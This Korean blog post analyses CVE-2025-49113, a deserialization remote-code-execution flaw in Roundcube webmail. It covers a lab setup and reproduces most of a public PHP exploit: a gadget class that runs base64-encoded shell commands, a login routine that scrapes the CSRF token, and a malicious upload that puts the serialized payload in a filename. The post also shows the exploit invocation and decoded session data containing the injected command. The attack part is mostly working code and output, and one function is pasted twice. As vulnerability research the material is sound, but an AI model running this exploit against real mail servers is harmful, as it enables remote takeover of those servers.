CVE

CVE 2025-49113

supp0rt 2025. 7. 8. 20:11

대상

Roundcube version

  • 1.5.0 - 1.5.9
  • 1.6.0 - 1.6.10

PoC

https://github.com/hakaioffsec/CVE-2025-49113-exploit


실습

Roundcube 구축

더보기

환경

  • ubuntu 22.04 live-server (일반도 상관 X)
  • php 8.1.2
  • mysql 15.1

구축

snapshot으로 저장해가면서 실행하는 것을 추천

Rollback 시 RTC 시간과 현재 시간이 맞지 않으면 다음 명령어 실행

sudo hwclock --systohc

 

1. 시스템 업데이트 및 필수 패키지 설치

sudo apt update && sudo apt upgrade -y
sudo apt install apache2 mariadb-server php php-cli php-common php-curl php-gd php-intl php-mbstring php-mysql php-xml php-zip php-bz2 php-soap php-imagick php-fileinfo unzip -y

2. MariaDB 설정 및 DB 생성

sudo mysql_secure_installation
sudo mysql -u root -p
CREATE DATABASE roundcubemail DEFAULT CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci;

// id, pw 설정 부분
CREATE USER 'roundcube'@'localhost' IDENTIFIED BY 'roundcube';

GRANT ALL PRIVILEGES ON roundcubemail.* TO 'roundcube'@'localhost';
FLUSH PRIVILEGES;
EXIT;

3. Roundcube 다운로드 및 설치

cd /tmp
wget <https://github.com/roundcube/roundcubemail/releases/download/1.5.9/roundcubemail-1.5.9-complete.tar.gz>
tar -xvzf roundcubemail-1.5.9-complete.tar.gz
sudo mv roundcubemail-1.5.9 /var/www/html/roundcube
sudo chown -R www-data:www-data /var/www/html/roundcube
sudo chmod -R 755 /var/www/html/roundcube

4. Roundcube 초기 구성

cd /var/www/html/roundcube
sudo mysql -u roundcube -p roundcubemail < SQL/mysql.initial.sql

5. Apache 설정

sudo vim /etc/apache2/sites-available/roundcube.conf
# /etc/apache2/sites-available/roundcube.conf
Alias /roundcube /var/www/html/roundcube

<Directory /var/www/html/roundcube/>
    Options +FollowSymLinks
    AllowOverride All
    <IfModule mod_php.c>
        php_value upload_max_filesize 10M
        php_value post_max_size 12M
        php_value memory_limit 64M
        php_value max_execution_time 180
        php_value max_input_time 180
    </IfModule>
</Directory>

6. Roundcube 설치 마법사 진행

http://<ip 주소>/roundcube/installer

 

db connect 부분 비밀번호 입력 필수

language ko_KR 설정 필수

 

7. 설치 마법사 제거

sudo rm -rf /var/www/html/roundcube/installer

8. 메일 서버 설치

sudo apt install dovecot-imapd dovecot-pop3d -y
sudo systemctl enable dovecot
sudo systemctl start dovecot

sudo vim /etc/dovecot/conf.d/10-mail.conf
# /etc/dovecot/conf.d/10-mail.conf
mail_location = maildir:~/Maildir

 

분석

더보기

CVE가 동작하는 방식은 다음과 같다.

  1. roundcube의 upload.php은 임시 파일 경로 및 메타데이터를 세션에 직렬화해서 저장한다.
  2. 임의의 이미지 파일과 실행시킬 명령어를 직렬화하여 이미지 업로드 시 사용한다.
  3. session_start()와 같이 세션의 값이 로드되고 역직렬화가 진행될 시 명령어가 실행된다 ⇒ RCE

1. PoC 코드 분석

PoC 코드의 순서대로 따라 가보자

  2 class Crypt_GPG_Engine
  3 {
  4     public $_process = false;
  5     public $_gpgconf = '';
  6     public $_homedir = '';
  7 
  8     public function __construct($_gpgconf)
  9     {
 10         $_gpgconf = base64_encode($_gpgconf);
 11         $this->_gpgconf = "echo \\"{$_gpgconf}\\"|base64 -d|sh;#";
 12     }
 13 
 14     public function gadget()
 15     {
 16         return '|'. serialize($this) . ';';
 17     }
 18 }

# 추후 실행되는 것을 알 수 있음 
237     $gpgEngine = new Crypt_GPG_Engine($rceCommand);
238     $gadget = $gpgEngine->gadget();

Crypt_GPG_Engine 클래스 생성자는 base64를 진행하며 gadget()함수는 직렬화를 만드는 것을 알 수 있다.

237 ~ 238번 줄을 보면 사용자가 입력한 $rceCommand를 base64로 만들고 직렬화를 수행하는 것을 알 수 있다.


20 function checkVersion($baseUrl)
21 { 
22     echo "[*] Checking Roundcube version...\\n"; 
23 
24     $context = stream_context_create([ 
25         'http' => [
26             'method' => 'GET', 
27             'header' => "User-Agent: Roundcube exploit CVE-2025-49113 - Hakai Security\\r\\n", 
28             'ignore_errors' => true,
29         ],
30     ]);
31 
32     $response = file_get_contents($baseUrl, false, $context);
33 
34     if ($response === FALSE) {
35         echo "[-] Error: Failed to check version.\\n";
36         exit(1);
37     }
38 
39     $vulnerableVersions = [
40         '10500', '10501', '10502', '10503', '10504', '10505', '10506', '10507', '10508', '10509',
41         '10600', '10601', '10602', '10603', '10604', '10605', '10606', '10607', '10608', '10609', '10610'
42     ];
43 
44     preg_match('/"rcversion":(\\d+)/', $response, $matches);
45 
46 
47 
48 
49     if (empty($matches[1])) {
50         echo "[-] Error: Could not detect Roundcube version.\\n";
51         exit(1);
52     }
53 
54     $version = $matches[1];
55     echo "[*] Detected Roundcube version: " . $version . "\\n";
56 
57     if (in_array($version, $vulnerableVersions)) {
58         echo "[+] Target is vulnerable!\\n";
59         return true;
60     } else {
61         echo "[-] Target is not vulnerable.\\n";
62         exit(1);
63     }
64 }
 
66  function login($baseUrl, $user, $pass)
67  {
68      // Configuration to capture session cookies
69      $context = stream_context_create([
70          'http' => [
71              'method' => 'GET',
72              'header' => "User-Agent: Roundcube exploit CVE-2025-49113 - Hakai Security\\r\\n",
73              'ignore_errors' => true,
74              // 'request_fulluri' => false, // necessary for HTTP proxies like Burp
75              // 'proxy' => 'tcp://127.0.0.1:8080',
76          ],
77      ]);
78
79      // Make a GET request to the initial page
80      $response = file_get_contents($baseUrl, false, $context);
81
82      if ($response === FALSE) {
83          echo "Error: Failed to obtain the initial page.\\n";
84          exit(1);
85      }
86
87      // Extract the 'roundcube_sessid' cookie
88      preg_match('/Set-Cookie: roundcube_sessid=([^;]+)/', implode("\\n", $http_response_header), $matches);
89      if (empty($matches[1])) {
90          echo "Error: 'roundcube_sessid' cookie not found.\\n";
91          exit(1);
92      }
93      $sessionCookie = 'roundcube_sessid=' . $matches[1];
94
95      // Extract the CSRF token from the JavaScript code
96      preg_match('/"request_token":"([^"]+)"/', $response, $matches);
97      if (empty($matches[1])) {
98          echo "Error: CSRF token not found.\\n";
99          exit(1);
100      }
101
102      $csrfToken = $matches[1];
103
104      $url = $baseUrl . '/?_task=login';
105
106      $data = http_build_query([
107          '_token'    => $csrfToken,
108          '_task'     => 'login',
109          '_action'   => 'login',
110          '_timezone' => 'America/Sao_Paulo',
111          '_url'      => '',
112          '_user'     => $user,
113          '_pass'     => $pass,
114      ]);
115
116      $options = [
117          'http' => [
118              'header'  => "Content-type: application/x-www-form-urlencoded\\r\\n" .
119                          "Cookie: " . $sessionCookie . "\\r\\n",
120              'method'  => 'POST',
121              'content' => $data,
122              'ignore_errors' => true,
123              // 'request_fulluri' => true, // necessary for HTTP proxies like Burp
124              // 'proxy' => 'tcp://127.0.0.1:8080',
125          ],
126      ];
127
128      $context  = stream_context_create($options);
129      $result = file_get_contents($url, false, $context);
130
131      if ($result === FALSE) {
132          echo "Error: Failed to make the request.\\n";
133          exit(1);
134      }
135
136      // Check the HTTP status code
137      $statusLine = $http_response_header[0];
138      preg_match('{HTTP/\\S*\\s(\\d{3})}', $statusLine, $match);
139      $status = $match[1];
140
141      if ($status == 401) {
142          echo "Error: Incorrect credentials.\\n";
143          exit(1);
144      } elseif ($status != 302) {
145          echo "Error: Request failed with status code $status.\\n";
146          exit(1);
147      }
148
149      // Extract the last 'roundcube_sessauth' cookie from the login response, ignoring the cookie with value '-del-'
150      preg_match_all('/Set-Cookie: roundcube_sessauth=([^;]+)/', implode("\\n", $http_response_header), $matches);
151      if (empty($matches[1])) {
152          echo "Error: 'roundcube_sessauth' cookie not found.\\n";
153          exit(1);
154      }
155      $authCookie = 'roundcube_sessauth=' . end($matches[1]);
156
157      // Extract the 'roundcube_sessid' cookie from the login response
158      preg_match('/Set-Cookie: roundcube_sessid=([^;]+)/', implode("\\n", $http_response_header), $matches);
159      if (empty($matches[1])) {
160          echo "Error: 'roundcube_sessid' cookie not found.\\n";
161          exit(1);
162      }
163      $sessionCookie = 'roundcube_sessid=' . $matches[1];
164
165      echo "[+] Login successful!\\n";
166
167      return [
168          'sessionCookie' => $sessionCookie,
169          'authCookie' => $authCookie,
170      ];
171  }
172
173  function uploadImage($baseUrl, $sessionCookie, $authCookie, $gadget)
174  {
175      $uploadUrl = $baseUrl . '/?_task=settings&_framed=1&_remote=1&_from=edit-!xxx&_id=&_uploadid=upload1749190777535&_unlock=loading1749190777536&_action=upload';
176
177      // Hardcoded PNG image in base64
178      $base64Image = 'iVBORw0KGgoAAAANSUhEUgAAAIAAAABcCAYAAACmwr2fAAAAAXNSR0IArs4c6QAAAGxlWElmTU0AKgAAAAgABAEaAAUAAAABAAAAPgEbAAUAAAABAAAARgEoAAMAAAABAAIAAIdpAAQAAAABAAAATgAAAAAAAACQAAAAAQAAAJAAAAABAAKgAgAEAAAAAQAAAICgAwAEAAAAAQAAAFwAAAAAbqF/KQAAAAlwSFlzAAAWJQAAFiUBSVIk8AAAAWBJREFUeAHt1MEJACEAxMDzSvEn2H97CrYx2Q4Swo659vkaa+BnyQN/BgoAD6EACgA3gOP3AAWAG8Dxe4ACwA3g+D1AAeAGcPweoABwAzh+D1AAuAEcvwcoANwAjt8DFABuAMfvAQoAN4Dj9wAFgBvA8XuAAsAN4Pg9QAHgBnD8HqAAcAM4fg9QALgBHL8HKADcAI7fAxQAbgDH7wEKADeA4/cABYAbwPF7gALADeD4PUAB4AZw/B6gAHADOH4PUAC4ARy/BygA3ACO3wMUAG4Ax+8BCgA3gOP3AAWAG8Dxe4ACwA3g+D1AAeAGcPweoABwAzh+D1AAuAEcvwcoANwAjt8DFABuAMfvAQoAN4Dj9wAFgBvA8XuAAsAN4Pg9QAHgBnD8HqAAcAM4fg9QALgBHL8HKADcAI7fAxQAbgDH7wEKADeA4/cABYAbwPF7gALADeD4PUAB4AZw/B4AD+ACXpACLpoPsQQAAAAASUVORK5CYII=';
179
180      // Decode the base64 image
181      $fileContent = base64_decode($base64Image);
182      if ($fileContent === FALSE) {
183          echo "Error: Failed to decode the base64 image.\\n";
184          exit(1);
185      }
186
187      $boundary = uniqid();
188      $data = "--" . $boundary . "\\r\\n" .
189              "Content-Disposition: form-data; name=\\"_file[]\\"; filename=\\"" . $gadget . "\\"\\r\\n" .
190              "Content-Type: image/png\\r\\n\\r\\n" .
191              $fileContent . "\\r\\n" .
192              "--" . $boundary . "--\\r\\n";
193
194      $options = [
195          'http' => [
196              'header'  => "Content-type: multipart/form-data; boundary=" . $boundary . "\\r\\n" .
197                          "Cookie: " . $sessionCookie . "; " . $authCookie . "\\r\\n",
198              'method'  => 'POST',
199              'content' => $data,
200              'ignore_errors' => true,
201              // 'request_fulluri' => true, // necessary for HTTP proxies like Burp
202              // 'proxy' => 'tcp://127.0.0.1:8080',
203          ],
204      ];
205
206      echo "[*] Exploiting...\\n";
207      
208      $context  = stream_context_create($options);
209      $result = file_get_contents($uploadUrl, false, $context);
210
211      if ($result === FALSE) {
212          echo "Error: Failed to send the file.\\n";
213          exit(1);
214      }
215
216      // Check the HTTP status code
217      $statusLine = $http_response_header[0];
218      preg_match('{HTTP/\\S*\\s(\\d{3})}', $statusLine, $match);
219      $status = $match[1];
220
221      if ($status != 200) {
222          echo "Error: File upload failed with status code $status.\\n";
223          exit(1);
224      }
225
226      echo "[+] Gadget uploaded successfully!\\n";
227  }

 

checkVersion()와 login() 함수를 보면 사용자가 입력한 $baseUrl에 요청을 보내 다음 결과를 확인한다.

  • roundcube Version
  • roundcube에 id, pw로 로그인 후 roundcube_sessid, roundcube_sessauth 값 받아옴
  • 성공 여부 표시

173  function uploadImage($baseUrl, $sessionCookie, $authCookie, $gadget)
174  {
175      $uploadUrl = $baseUrl . '/?_task=settings&_framed=1&_remote=1&_from=edit-!xxx&_id=&_uploadid=upload1749190777535&_unlock=loading1749190777536&_action=upload';
176
177      // Hardcoded PNG image in base64
178      $base64Image = 'iVBORw0KGgoAAAANSUhEUgAAAIAAAABcCAYAAACmwr2fAAAAAXNSR0IArs4c6QAAAGxlWElmTU0AKgAAAAgABAEaAAUAAAABAAAAPgEbAAUAAAABAAAARgEoAAMAAAABAAIAAIdpAAQAAAABAAAATgAAAAAAAACQAAAAAQAAAJAAAAABAAKgAgAEAAAAAQAAAICgAwAEAAAAAQAAAFwAAAAAbqF/KQAAAAlwSFlzAAAWJQAAFiUBSVIk8AAAAWBJREFUeAHt1MEJACEAxMDzSvEn2H97CrYx2Q4Swo659vkaa+BnyQN/BgoAD6EACgA3gOP3AAWAG8Dxe4ACwA3g+D1AAeAGcPweoABwAzh+D1AAuAEcvwcoANwAjt8DFABuAMfvAQoAN4Dj9wAFgBvA8XuAAsAN4Pg9QAHgBnD8HqAAcAM4fg9QALgBHL8HKADcAI7fAxQAbgDH7wEKADeA4/cABYAbwPF7gALADeD4PUAB4AZw/B6gAHADOH4PUAC4ARy/BygA3ACO3wMUAG4Ax+8BCgA3gOP3AAWAG8Dxe4ACwA3g+D1AAeAGcPweoABwAzh+D1AAuAEcvwcoANwAjt8DFABuAMfvAQoAN4Dj9wAFgBvA8XuAAsAN4Pg9QAHgBnD8HqAAcAM4fg9QALgBHL8HKADcAI7fAxQAbgDH7wEKADeA4/cABYAbwPF7gALADeD4PUAB4AZw/B4AD+ACXpACLpoPsQQAAAAASUVORK5CYII=';
179
180      // Decode the base64 image
181      $fileContent = base64_decode($base64Image);
182      if ($fileContent === FALSE) {
183          echo "Error: Failed to decode the base64 image.\\n";
184          exit(1);
185      }
186
187      $boundary = uniqid();
188      $data = "--" . $boundary . "\\r\\n" .
189              "Content-Disposition: form-data; name=\\"_file[]\\"; filename=\\"" . $gadget . "\\"\\r\\n" .
190              "Content-Type: image/png\\r\\n\\r\\n" .
191              $fileContent . "\\r\\n" .
192              "--" . $boundary . "--\\r\\n";
193
194      $options = [
195          'http' => [
196              'header'  => "Content-type: multipart/form-data; boundary=" . $boundary . "\\r\\n" .
197                          "Cookie: " . $sessionCookie . "; " . $authCookie . "\\r\\n",
198              'method'  => 'POST',
199              'content' => $data,
200              'ignore_errors' => true,
201              // 'request_fulluri' => true, // necessary for HTTP proxies like Burp
202              // 'proxy' => 'tcp://127.0.0.1:8080',
203          ],
204      ];
205
206      echo "[*] Exploiting...\\n";
207      
208      $context  = stream_context_create($options);
209      $result = file_get_contents($uploadUrl, false, $context);
210
211      if ($result === FALSE) {
212          echo "Error: Failed to send the file.\\n";
213          exit(1);
214      }
215
216      // Check the HTTP status code
217      $statusLine = $http_response_header[0];
218      preg_match('{HTTP/\\S*\\s(\\d{3})}', $statusLine, $match);
219      $status = $match[1];
220
221      if ($status != 200) {
222          echo "Error: File upload failed with status code $status.\\n";
223          exit(1);
224      }
225
226      echo "[+] Gadget uploaded successfully!\\n";
227  }

 

$uploadUrl = $baseUrl . '/?_task=settings&_framed=1&_remote=1&_from=edit-!xxx&_id=&_uploadid=upload1749190777535&_unlock=loading1749190777536&_action=upload';

 

해당 URL에 요청을 보내면서 upload.php를 호출한다.

또한, dummy 이미지 파일을 업로드하면서 명령어를 수행하기 위해 직렬화한 문자열을 파일명으로 지정하여 업로드한다.

 

2. PoC

1. PoC 코드 실행

# php CVE-2025-49113.php <roundcube_ip> <id> <pw> <cmd>
php CVE-2025-49113.php <http://192.168.51.150/roundcube> hstest01 hstest01 "mkdir /var/www/html/roundcube/temp/test"

 

2. DB 세션 확인

해당 CVE의 중요한 부분은 임시 파일을 세션에 저장하고 불러온다는 점을 이용한다.

따라서, 파일명에 cmd를 직렬화한 문자열을 넣고 세션이 시작되면서 역직렬화를 통해 RCE가 이뤄진다.

 

세션 값을 확인하기 위해 DB를 확인해보자

mysql -u root -p

> use roundcubemail
> show tables;

+-------------------------+
| Tables_in_roundcubemail |
+-------------------------+
| cache                   |
| cache_index             |
| cache_messages          |
| cache_shared            |
| cache_thread            |
| collected_addresses     |
| contactgroupmembers     |
| contactgroups           |
| contacts                |
| dictionary              |
| filestore               |
| identities              |
| searches                |
| session                 |
| system                  |
| users                   |
+-------------------------+
16 rows in set (0.000 sec)

> desc session;

+---------+--------------+------+-----+---------------------+-------+
| Field   | Type         | Null | Key | Default             | Extra |
+---------+--------------+------+-----+---------------------+-------+
| sess_id | varchar(128) | NO   | PRI | NULL                |       |
| changed | datetime     | NO   | MUL | 1000-01-01 00:00:00 |       |
| ip      | varchar(40)  | NO   |     | NULL                |       |
| vars    | mediumtext   | NO   |     | NULL                |       |
+---------+--------------+------+-----+---------------------+-------+
4 rows in set (0.001 sec)

> select count(vars) from session;

+-------------+
| count(vars) |
+-------------+
|          48 |
+-------------+
1 row in set (0.001 sec)

> select vars from session limit 45,48;

bGFuZ3VhZ2V8czo1OiJrb19LUiI7aW1hcF9uYW1lc3BhY2V8YTo0OntzOjg6InBlcnNvbmFsIjthOjE6e2k6MDthOjI6e2k6MDtzOjA6IiI7aToxO3M6MToiLyI7fX1zOjU6Im90aGVyIjtOO3M6Njoic2hhcmVkIjtOO3M6MTA6InByZWZpeF9vdXQiO3M6MDoiIjt9aW1hcF9kZWxpbWl0ZXJ8czoxOiIvIjtpbWFwX2xpc3RfY29uZnxhOjI6e2k6MDtOO2k6MTthOjA6e319dXNlcl9pZHxpOjE7dXNlcm5hbWV8czo4OiJoc3Rlc3QwMSI7c3RvcmFnZV9ob3N0fHM6OToibG9jYWxob3N0IjtzdG9yYWdlX3BvcnR8aToxNDM7c3RvcmFnZV9zc2x8YjowO3Bhc3N3b3JkfHM6MzI6IjYvQmNKN1p6TmtPaXM0N3U5ZTJUc0RDdXlMcmtScEtYIjtsb2dpbl90aW1lfGk6MTc1MTk1MTc0OTt0aW1lem9uZXxzOjE3OiJBbWVyaWNhL1Nhb19QYXVsbyI7U1RPUkFHRV9TUEVDSUFMLVVTRXxiOjE7YXV0aF9zZWNyZXR8czoyNjoiTE1vRkgwejJXaGd3RVlpWVJSU0VNOWJPdEsiO3JlcXVlc3RfdG9rZW58czozMjoid0cyT2ZrQmpxOGlDb2M3ZVRwcTltMkNzU2FmTVVuMlEiO3BsdWdpbnN8YToxOntzOjIyOiJmaWxlc3lzdGVtX2F0dGFjaG1lbnRzIjthOjE6e3M6NDoiIXh4eCI7YToxOntzOjIwOiIxMTc1MTk1MTc0OTAzNTA1MzcwMCI7czo2NDoiL3Zhci93d3cvaHRtbC9yb3VuZGN1YmUvdGVtcC9SQ01URU1QYXR0bW50Njg2Y2E5ODU1NTg2MTk1OTI3NjExNiI7fX19eHh4fE47MTp7czo1OiJmaWxlcyI7YToxOntzOjIwOiIxMTc1MTk1MTc0OTAzNTA1MzcwMCI7YTo2OntzOjQ6InBhdGgiO3M6NjQ6Ii92YXIvd3d3L2h0bWwvcm91bmRjdWJlL3RlbXAvUkNNVEVNUGF0dG1udDY4NmNhOTg1NTU4NjE5NTkyNzYxMTYiO3M6NDoic2l6ZSI7aTo1NjM7czo0OiJuYW1lIjtzOjE2ODoifE86MTY6IkNyeXB0X0dQR19FbmdpbmUiOjMwOntzOjI1OiIAQ3J5cHRfR1BHX0VuZ2luZQBfc3RyaWN0IjtiOjA7czoyNDoiAENyeXB0X0dQR19FbmdpbmUAX2RlYnVnIjtiOjA7czoyNToiAENyeXB0X0dQR19FbmdpbmUAX2JpbmFyeSI7czowOiIiO3M6MjQ6IgBDcnlwdF9HUEdfRW5naW5lAF9hZ2VudCI7czowOiIiO3M6MjY6IgBDcnlwdF9HUEdfRW5naW5lAF9ncGdjb25mIjtzOjc0OiJlY2hvICJiV3RrYVhJZ0wzWmhjaTkzZDNjdmFIUnRiQzl5YjNWdVpHTjFZbVV2ZEdWdGNDOTBaWE4wInxiYXNlNjQgLWR8c2g7IyI7czoyNjoiAENyeXB0X0dQR19FbmdpbmUAX2hvbWVkaXIiO3M6MDoiIjtzOjMyOiIAQ3J5cHRfR1BHX0VuZ2luZQBfcHVibGljS2V5cmluZyI7czowOiIiO3M6MzM6IgBDcnlwdF9HUEdfRW5naW5lAF9wcml2YXRlS2V5cmluZyI7czowOiIiO3M6MjY6IgBDcnlwdF9HUEdfRW5naW5lAF90cnVzdERiIjtzOjA6IiI7czoyNDoiAENyeXB0X0dQR19FbmdpbmUAX3BpcGVzIjthOjA6e31zOjI5OiIAQ3J5cHRfR1BHX0VuZ2luZQBfYWdlbnRQaXBlcyI7YTowOnt9czoyODoiAENyeXB0X0dQR19FbmdpbmUAX29wZW5QaXBlcyI7YTowOnt9czoyNjoiAENyeXB0X0dQR19FbmdpbmUAX3Byb2Nlc3MiO2I6MDtzOjMxOiIAQ3J5cHRfR1BHX0VuZ2luZQBfYWdlbnRQcm9jZXNzIjtOO3M6Mjg6IgBDcnlwdF9HUEdfRW5naW5lAF9hZ2VudEluZm8iO047czoyNzoiAENyeXB0X0dQR19FbmdpbmUAX2lzRGFyd2luIjtiOjA7czozMDoiAENyeXB0X0dQR19FbmdpbmUAX2RpZ2VzdF9hbGdvIjtOO3M6MzA6IgBDcnlwdF9HUEdfRW5naW5lAF9jaXBoZXJfYWxnbyI7TjtzOjMyOiIAQ3J5cHRfR1BHX0VuZ2luZQBfY29tcHJlc3NfYWxnbyI7TjtzOjI2OiIAQ3J5cHRfR1BHX0VuZ2luZQBfb3B0aW9ucyI7YTowOnt9czozMjoiAENyeXB0X0dQR19FbmdpbmUAX2NvbW1hbmRCdWZmZXIiO3M6MDoiIjtzOjMzOiIAQ3J5cHRfR1BHX0VuZ2luZQBfcHJvY2Vzc0hhbmRsZXIiO047czozMzoiAENyeXB0X0dQR19FbmdpbmUAX3N0YXR1c0hhbmRsZXJzIjthOjA6e31zOjMyOiIAQ3J5cHRfR1BHX0VuZ2luZQBfZXJyb3JIYW5kbGVycyI7YTowOnt9czoyNDoiAENyeXB0X0dQR19FbmdpbmUAX2lucHV0IjtOO3M6MjY6IgBDcnlwdF9HUEdfRW5naW5lAF9tZXNzYWdlIjtOO3M6MjU6IgBDcnlwdF9HUEdfRW5naW5lAF9vdXRwdXQiO3M6MDoiIjtzOjI4OiIAQ3J5cHRfR1BHX0VuZ2luZQBfb3BlcmF0aW9uIjtOO3M6Mjg6IgBDcnlwdF9HUEdfRW5naW5lAF9hcmd1bWVudHMiO2E6MDp7fXM6MjY6IgBDcnlwdF9HUEdfRW5naW5lAF92ZXJzaW9uIjtzOjA6IiI7fQ==

 

이 base64 구문이 session에 들어가는 값이다

base64를 디코딩해서 확인해보자

3. session 확인

echo "bGFuZ3VhZ2V8czo1OiJrb19LUiI7aW1hcF9uYW1lc3BhY2V8YTo0OntzOjg6InBlcnNvbmFsIjthOjE6e2k6MDthOjI6e2k6MDtzOjA6IiI7aToxO3M6MToiLyI7fX1zOjU6Im90aGVyIjtOO3M6Njoic2hhcmVkIjtOO3M6MTA6InByZWZpeF9vdXQiO3M6MDoiIjt9aW1hcF9kZWxpbWl0ZXJ8czoxOiIvIjtpbWFwX2xpc3RfY29uZnxhOjI6e2k6MDtOO2k6MTthOjA6e319dXNlcl9pZHxpOjE7dXNlcm5hbWV8czo4OiJoc3Rlc3QwMSI7c3RvcmFnZV9ob3N0fHM6OToibG9jYWxob3N0IjtzdG9yYWdlX3BvcnR8aToxNDM7c3RvcmFnZV9zc2x8YjowO3Bhc3N3b3JkfHM6MzI6IjYvQmNKN1p6TmtPaXM0N3U5ZTJUc0RDdXlMcmtScEtYIjtsb2dpbl90aW1lfGk6MTc1MTk1MTc0OTt0aW1lem9uZXxzOjE3OiJBbWVyaWNhL1Nhb19QYXVsbyI7U1RPUkFHRV9TUEVDSUFMLVVTRXxiOjE7YXV0aF9zZWNyZXR8czoyNjoiTE1vRkgwejJXaGd3RVlpWVJSU0VNOWJPdEsiO3JlcXVlc3RfdG9rZW58czozMjoid0cyT2ZrQmpxOGlDb2M3ZVRwcTltMkNzU2FmTVVuMlEiO3BsdWdpbnN8YToxOntzOjIyOiJmaWxlc3lzdGVtX2F0dGFjaG1lbnRzIjthOjE6e3M6NDoiIXh4eCI7YToxOntzOjIwOiIxMTc1MTk1MTc0OTAzNTA1MzcwMCI7czo2NDoiL3Zhci93d3cvaHRtbC9yb3VuZGN1YmUvdGVtcC9SQ01URU1QYXR0bW50Njg2Y2E5ODU1NTg2MTk1OTI3NjExNiI7fX19eHh4fE47MTp7czo1OiJmaWxlcyI7YToxOntzOjIwOiIxMTc1MTk1MTc0OTAzNTA1MzcwMCI7YTo2OntzOjQ6InBhdGgiO3M6NjQ6Ii92YXIvd3d3L2h0bWwvcm91bmRjdWJlL3RlbXAvUkNNVEVNUGF0dG1udDY4NmNhOTg1NTU4NjE5NTkyNzYxMTYiO3M6NDoic2l6ZSI7aTo1NjM7czo0OiJuYW1lIjtzOjE2ODoifE86MTY6IkNyeXB0X0dQR19FbmdpbmUiOjMwOntzOjI1OiIAQ3J5cHRfR1BHX0VuZ2luZQBfc3RyaWN0IjtiOjA7czoyNDoiAENyeXB0X0dQR19FbmdpbmUAX2RlYnVnIjtiOjA7czoyNToiAENyeXB0X0dQR19FbmdpbmUAX2JpbmFyeSI7czowOiIiO3M6MjQ6IgBDcnlwdF9HUEdfRW5naW5lAF9hZ2VudCI7czowOiIiO3M6MjY6IgBDcnlwdF9HUEdfRW5naW5lAF9ncGdjb25mIjtzOjc0OiJlY2hvICJiV3RrYVhJZ0wzWmhjaTkzZDNjdmFIUnRiQzl5YjNWdVpHTjFZbVV2ZEdWdGNDOTBaWE4wInxiYXNlNjQgLWR8c2g7IyI7czoyNjoiAENyeXB0X0dQR19FbmdpbmUAX2hvbWVkaXIiO3M6MDoiIjtzOjMyOiIAQ3J5cHRfR1BHX0VuZ2luZQBfcHVibGljS2V5cmluZyI7czowOiIiO3M6MzM6IgBDcnlwdF9HUEdfRW5naW5lAF9wcml2YXRlS2V5cmluZyI7czowOiIiO3M6MjY6IgBDcnlwdF9HUEdfRW5naW5lAF90cnVzdERiIjtzOjA6IiI7czoyNDoiAENyeXB0X0dQR19FbmdpbmUAX3BpcGVzIjthOjA6e31zOjI5OiIAQ3J5cHRfR1BHX0VuZ2luZQBfYWdlbnRQaXBlcyI7YTowOnt9czoyODoiAENyeXB0X0dQR19FbmdpbmUAX29wZW5QaXBlcyI7YTowOnt9czoyNjoiAENyeXB0X0dQR19FbmdpbmUAX3Byb2Nlc3MiO2I6MDtzOjMxOiIAQ3J5cHRfR1BHX0VuZ2luZQBfYWdlbnRQcm9jZXNzIjtOO3M6Mjg6IgBDcnlwdF9HUEdfRW5naW5lAF9hZ2VudEluZm8iO047czoyNzoiAENyeXB0X0dQR19FbmdpbmUAX2lzRGFyd2luIjtiOjA7czozMDoiAENyeXB0X0dQR19FbmdpbmUAX2RpZ2VzdF9hbGdvIjtOO3M6MzA6IgBDcnlwdF9HUEdfRW5naW5lAF9jaXBoZXJfYWxnbyI7TjtzOjMyOiIAQ3J5cHRfR1BHX0VuZ2luZQBfY29tcHJlc3NfYWxnbyI7TjtzOjI2OiIAQ3J5cHRfR1BHX0VuZ2luZQBfb3B0aW9ucyI7YTowOnt9czozMjoiAENyeXB0X0dQR19FbmdpbmUAX2NvbW1hbmRCdWZmZXIiO3M6MDoiIjtzOjMzOiIAQ3J5cHRfR1BHX0VuZ2luZQBfcHJvY2Vzc0hhbmRsZXIiO047czozMzoiAENyeXB0X0dQR19FbmdpbmUAX3N0YXR1c0hhbmRsZXJzIjthOjA6e31zOjMyOiIAQ3J5cHRfR1BHX0VuZ2luZQBfZXJyb3JIYW5kbGVycyI7YTowOnt9czoyNDoiAENyeXB0X0dQR19FbmdpbmUAX2lucHV0IjtOO3M6MjY6IgBDcnlwdF9HUEdfRW5naW5lAF9tZXNzYWdlIjtOO3M6MjU6IgBDcnlwdF9HUEdfRW5naW5lAF9vdXRwdXQiO3M6MDoiIjtzOjI4OiIAQ3J5cHRfR1BHX0VuZ2luZQBfb3BlcmF0aW9uIjtOO3M6Mjg6IgBDcnlwdF9HUEdfRW5naW5lAF9hcmd1bWVudHMiO2E6MDp7fXM6MjY6IgBDcnlwdF9HUEdfRW5naW5lAF92ZXJzaW9uIjtzOjA6IiI7fQ==" | base64 -d

language|s:5:"ko_KR";imap_namespace|a:4:{s:8:"personal";a:1:{i:0;a:2:{i:0;s:0:"";i:1;s:1:"/";}}s:5:"other";N;s:6:"shared";N;s:10:"prefix_out";s:0:"";}imap_delimiter|s:1:"/";imap_list_conf|a:2:{i:0;N;i:1;a:0:{}}user_id|i:1;username|s:8:"hstest01";storage_host|s:9:"localhost";storage_port|i:143;storage_ssl|b:0;password|s:32:"6/BcJ7ZzNkOis47u9e2TsDCuyLrkRpKX";login_time|i:1751951749;timezone|s:17:"America/Sao_Paulo";STORAGE_SPECIAL-USE|b:1;auth_secret|s:26:"LMoFH0z2WhgwEYiYRRSEM9bOtK";request_token|s:32:"wG2OfkBjq8iCoc7eTpq9m2CsSafMUn2Q";plugins|a:1:{s:22:"filesystem_attachments";a:1:{s:4:"!xxx";a:1:{s:20:"11751951749035053700";s:64:"/var/www/html/roundcube/temp/RCMTEMPattmnt686ca98555861959276116";}}}xxx|N;1:{s:5:"files";a:1:{s:20:"11751951749035053700";a:6:{s:4:"path";s:64:"/var/www/html/roundcube/temp/RCMTEMPattmnt686ca98555861959276116";s:4:"size";i:563;s:4:"name";s:168:"|O:16:"Crypt_GPG_Engine":30:{s:25:"Crypt_GPG_Engine_strict";b:0;s:24:"Crypt_GPG_Engine_debug";b:0;s:25:"Crypt_GPG_Engine_binary";s:0:"";s:24:"Crypt_GPG_Engine_agent";s:0:"";s:26:"Crypt_GPG_Engine_gpgconf";s:74:"echo "bWtkaXIgL3Zhci93d3cvaHRtbC9yb3VuZGN1YmUvdGVtcC90ZXN0"|base64 